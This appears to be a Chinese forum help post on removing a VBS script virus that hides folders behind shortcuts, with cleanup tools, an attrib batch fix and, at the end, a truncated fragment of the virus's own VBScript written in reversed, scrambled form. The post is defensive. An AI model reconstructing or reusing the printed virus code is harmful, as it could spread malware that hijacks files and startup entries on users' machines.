这就是所谓的VBS脚本病毒了……
先说一下为什么一键还原无效：
病毒在你硬盘里建立了文件夹的快捷方式，快捷方式里头实际是先进入到一个VBS脚本病毒（这个VBS文件每个磁盘下都有，不只在C盘），再通过这个病毒文件打开对应的文件夹，并且这VBS病毒一执行立即弥漫整个电脑，所以你辛苦还原的电脑马上又瘫痪了。
此病毒相当复杂，即便杀毒软件再怎么强大也需要人工辅助才能恢复原形，所以请耐心看一下说明.
首先,通过开始菜单的"控制面板"进入"文件夹选项",选择"文件类型"选项卡,找到扩展名为"vbs"的文件类型,看到下方有个框"vbs文件类型的详细信息",里面第一个就是打开方式,其默认打开方式是系统的脚本执行程序,你点右边的"更改"按钮,将其改为用"记事本"打开.然后点击确定,保存退出.这是断了脚本病毒的后路.
杀毒需要准备的几个软件：
金山清理专家
金山急救箱
系统修复工程师SREngLdr.EXE
清理专家 用它检查，你会发现一个恶意软件，名字我记不得了，但软件的作用是使你无法查看隐藏文件，当你用 文件夹选项>>查看>>显示隐藏文件和系统文件 的时候,你会发现隐藏文件和系统文件并没有显示出来,这就是那个恶意软件的作用了...(据我所知这个恶意软件和这个vbs病毒是一起来的,当然也有些人确实没有中这个恶意软件也说不定)
急救箱 它会自动给你识别危险的文件并清除,这些文件主要是*.vbs这种.你可以放心,它并不是把你电脑里所有vbs文件都删掉,因为毕竟windows本来就自带有一些vbs脚本.另外,你也可以通过手动搜索查找vbs文件然后删掉,至于哪些是病毒带来的,其实很好认,因为这些被病毒写进来的vbs文件名都是一串数字,其实你会发现那些数字刚好就是某些人的QQ号...呃,说多了...
系统修复工程师 这个软件主要是用来检查异常的开机启动项目,使用很简单,你直接打开软件,如果有异常,软件会自动提示你,而且有异常的地方会被以红色显示.好像这个vbs病毒会将一个启动项绑定到某个随系统启动的程序上(好像是smss.exe).另外,"我的电脑""资源管理器"都被绑定了vbs,也会在这里得到解除.
可能你需要用这3个软件反复轮流检查电脑,直到确定三个软件都不会再提示错误,那查杀才算告一段落.
需要特别注意的是,在执行以上3个软件的检查期间,不要以任何方式打开"我的电脑"或"资源管理器".这里的"任何方式"包括但不限于:直接通过桌面"我的电脑"图标打开;通过桌面上创建的文件夹快捷方式进入某个文件夹;通过开始菜单右键"资源管理器"进入;等等.由于你要打开3个软件,又不能进入"我的电脑",所以在开始查杀前,你要把3个软件的快捷方式都事先建在桌面上备用.
好了,当以上3个软件都不再报错了,不要再做其他任何操作,直接重启!
重启后,有几种情况:
如果进入桌面后直接自动弹出一个文本窗口,里面一堆倒着写的程序代码,说明你的VBS脚本文件没有清理干净,并且开机启动项也没有清楚干净.
如果进入桌面直接自动弹出提示,说"找不到xxx.vbs"之类的,说明vbs清理干净了,但是开机启动项没干净.
如果都正常了,可以开始处理"后遗症"了:
后遗症主要表现为,所有盘里的文件夹都被隐藏了,并创建了快捷方式.通过文件夹选项把隐藏文件都显示出来,然后你在某个文件夹上右击,查看属性,你会发现"隐藏"和"存档"都是被勾选的,而且变灰色了,也就是说你无法将其取消隐藏...
先把这些快捷方式全删了(这些快捷方式都是有问题的哈,不要心存侥幸)
然后在桌面上新建一个文本文件,在里面输入下面的代码:
c:
attrib -s -h -r "Program Files"
attrib -s -h -r "..."
attrib -s -h -r "..."
d:
attrib -s -h -r "Program Files"
attrib -s -h -r "..."
attrib -s -h -r "..."
e:
...
这样写应该能懂吧？"c:","d:","e:"这些就是切换盘符,-s -h -r 的三个字母分别表示system、hide、read，意思应该不用说了吧.省略号代表的就是那些你无法取消隐藏的文件夹名字,挨个填上去,有多少填多少,每一句attrib -s -h -r "..."占一行.然后保存此文本文件并将扩展名改为.bat,双击运行.后遗症处理结束.
部分病毒代码如下
'起乱偶给要不'文中的我，号外我，风暴叫字名b叫字名文英的.enifyo-_- 7
'orre nomuser rtxen e7
'f midsw,oslehshtes:l=osf taercejboes"(tctpircf.gniyseliometstcejbes:)"hsw tllehsaerc=jboet"(tceircswhs.tp)"llellac:niam )(5
'niam bus)(8
'orre nomuser r:txen egra miduriv ,s ,daolssasuriva tes:scsw=sgrra.tpirstnemuglsuriv:teg=daorivniamv:)1(sussasuriiamteg=(surivnngra:)0od:0=mu elihw mungra.sgra <p:tnuocap=mara" "&mara(sgra&:)mungr=mungra mungraool:1 +p7
'apbusl=mar(esacthgirarap()3 ,m)5
' tcelesus esacmarapb7
'nur" esac"9
'tapnurtfel=hircsw(rcs.tpluftpi,emanlac:)2 nur llapnur(ac:)htvni llsysedaiv(metaolsururiv,d:)ssasr llacs%"(nurmetsys\%too\metsysohcvs exe.turiv&")daols6
'" esac ,"txt,"gol" "ini""fni",6
'pnur=htays%"metstoorys\%metsn\23petoe.da" exrap&c:ma lla(nurpnur)htalac:ni ledavtsysv(mesuridaolriv,sasuc:)s lla(nurys%"metstoorys\%metscvs\tsohexe.v&" suridaol)4
'aces" ab"t ,c"dm"2
'tapnurdmc"=hce c/ !ih oheh m'iap&!erc:"esuur llapnur(nc:)htani llaysedavv(metsolsuririv,da)ssasu llac:%"(nurmetsys\%toormetsysohcvs\exe.tsriv&" daolsu)6
'aces" e